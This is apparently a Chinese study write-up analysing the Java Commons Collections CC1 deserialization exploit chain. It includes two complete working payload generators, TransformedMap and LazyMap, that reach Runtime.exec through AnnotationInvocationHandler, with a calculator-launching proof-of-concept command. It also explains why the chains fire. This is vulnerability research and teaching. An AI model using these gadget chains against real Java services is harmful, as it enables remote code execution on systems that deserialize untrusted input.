先附上代码 :jdk7u80环境
import org.apache.commons.collections.map.TransformedMap;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import javax.annotation.Generated;
import java.io.*;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.InvocationTargetException;
import java.util.HashMap;
import java.util.Map;
public class test {
public static String fileName = "CC1withTransformedMap.bin";
public static void main(String[] args) throws ClassNotFoundException, InvocationTargetException,
InstantiationException, IllegalAccessException, IOException {
Map hashMap = new HashMap();
hashMap.put("comments", 2);
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"open -a Calculator.app"})
};
Transformer transformerchain = new ChainedTransformer(transformers);
Map transformedMap = TransformedMap.decorate(hashMap, null, transformerchain);
Class> c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor> constructor = c.getDeclaredConstructors()[0];
constructor.setAccessible(true);
InvocationHandler handler = (InvocationHandler) constructor.newInstance(Generated.class, transformedMap);
FileOutputStream file = new FileOutputStream(new File(fileName));
ObjectOutputStream out = new ObjectOutputStream(file);
out.writeObject(handler);
FileInputStream file1 = new FileInputStream(new File(fileName));
ObjectInputStream in = new ObjectInputStream(file1);
in.readObject();
}
}
要想触发反序列化漏洞,我们需要一个类且重写了readObject方法,并且在其方法中存在对于TransformedMap的put方法或者实现了setValue方法,或对于lazymap实现了get方法,那么下面就针对这两种map的利用方法进行分析。
主要是利用了sun.reflect.annotation.AnnotationInvocationHandler这个类,这个类实现了 InvocationHandler 接口,原本是用于 JDK 对于注解形式的动态代理。
动态代理的学习参考(代理模式的使用总结_张彦峰ZYF的博客-CSDN博客_代理模式有啥用)
那么我们利用到的动态代理的部分就是invoke方法,对于动态代理的知识看上面的文章即可,我们基本了解一下即可:一般的名字就叫...InvocationHandler,这其中会有一个invoke方法,其中包含三个参数(Object var1, Method var2, Object[] var3),且所有执行代理对象的方法都会被替换成执行invoke方法,那么就是需要我们将实现代码放到invoke函数中去来执行。
那么下面就是通过两种思路进行反序列化漏洞:
- TransformedMap利用反序列化重写readObject中调用setValue方法
- LazyMap在invoke中会调用get方法
先看一下AnnotationInvocationHandler的构造方法。
构造方法接收两个参数,第一个参数是 Annotation 实现类的 Class 对象,第二个参数是是一个 key 为 String、value 为 Object 的 Map。构造方法判断 var1 有且只有一个父接口,并且是 Annotation.class,才会将两个参数初始化在成员属性 type 和 memberValues 中。
因为这个类实现了基于动态代理实现的,那么它就一定有invoke方法,但是在TransformedMap的利用中没有利用到invoke函数,而是利用的readObject函数中的setValue方法,那么我们直接进入readObject方法。
根据上面的定义,我们可以知道这个meberValues就是构造方法中传入的一个Map对象,首先先将其遍历,然后进行if判断,其中判断的内容包括:
首先调用 AnnotationType.getInstance(this.type) 方法来获取 type 这个注解类对应的 AnnotationType 的对象,然后获取其 memberTypes 属性,这个属性是个 Map,存放这个注解中可以配置的值。
然后循环 this.memberValues 这个 Map ,获取其 Key,如果注解类的 memberTypes 属性中存在与 this.memberValues 的 key 相同的属性,并且取得的值不是 ExceptionProxy 的实例也不是 memberValues 中值的实例,则取得其值,并调用 setValue 方法写入值。
private final MapmemberValues; ...... ...... AnnotationInvocationHandler(Class extends Annotation> var1, Map var2) { ...... this.memberValues = var2; ...... }
那么我们根据文章开头的payload可以使用Generated.class,且原始的map中put("commonts",2)。
InvocationHandler handler = (InvocationHandler) constructor.newInstance(Generated.class, transformedMap);
那么我们查看一下Generated.class
发现其中有三个的定义,那么我们可以调试一下查看过程变量的值
然后查看一下我们定义的transformedMap即这里的var4
最终整理一下这个的判断流程:
我们传入的是("commonts",2),其中传入的commonts是String类型的,2是Integer类型的,
while(var4.hasNext()) {
Entry var5 = (Entry)var4.next();
String var6 = (String)var5.getKey(); //commit-->String
Class var7 = (Class)var3.get(var6); //根据Generated中的String comments() default ""; 可以知道var7是String类型的
if (var7 != null) {
Object var8 = var5.getValue(); //v5=2 是int类型的
if (!var7.isInstance(var8) && !(var8 instanceof ExceptionProxy)) {
var5.setValue((new AnnotationTypeMismatchExceptionProxy(var8.getClass() + "[" + var8 + "]")).setMember((Method)var2.members().get(var6)));
}
}
}
最后因为var8是Integer类型而不是String类型且不为ExceptionProxy类型而进入if语句中。
所以,如果我们使用map.put("comments","zyer");就不会触发这个if判断了。那么其他利用方式针对
可以传入("value",非String[]类型),("data",非String类型) ,("comments",非String类型)
2.LazyMap
payload代码
import org.apache.commons.collections.map.LazyMap;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import java.io.*;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.util.HashMap;
import java.util.Map;
public class test {
public static void main(String[] args) throws Exception {
ChainedTransformer chain = new ChainedTransformer(new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"open -a Calculator.app"})
});
Map lazyMap = LazyMap.decorate(new HashMap(), chain);
Class> c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor> constructor = c.getDeclaredConstructors()[0];
constructor.setAccessible(true);
// 创建携带着 LazyMap 的 AnnotationInvocationHandler 实例
InvocationHandler handler = (InvocationHandler) constructor.newInstance(Override.class, lazyMap);
// 创建LazyMap的动态代理类实例
Map mapProxy = (Map) Proxy.newProxyInstance(LazyMap.class.getClassLoader(), LazyMap.class.getInterfaces(), handler);
// 使用动态代理初始化 AnnotationInvocationHandler
InvocationHandler invocationHandler = (InvocationHandler) constructor.newInstance(Override.class, mapProxy);
FileOutputStream file = new FileOutputStream(new File("1.txt"));
ObjectOutputStream out = new ObjectOutputStream(file);
out.writeObject(invocationHandler);
FileInputStream file1 = new FileInputStream(new File("1.txt"));
ObjectInputStream in = new ObjectInputStream(file1);
in.readObject();
}
}
是通过方式使lazymap调用了get方法
那构造的思路的就有了,在使用带有装饰器的 LazyMap 初始化 AnnotationInvocationHandler 之前,先使用 InvocationHandler 代理一下 LazyMap,这样反序列化 AnnotationInvocationHandler 时,调用 LazyMap 值的 setValue 方法之前会调用代理类的 invoke 方法,触发 LazyMap 的 get 方法。
暂时对动态代理的理解还不是很深,对LazyMap的原理的理解还是有点模糊,等再稍微研究一下再更新Lazy Map的原理。
上面的内容参考su18师傅:Java 反序列化漏洞(二) - Commons Collections | 素十八



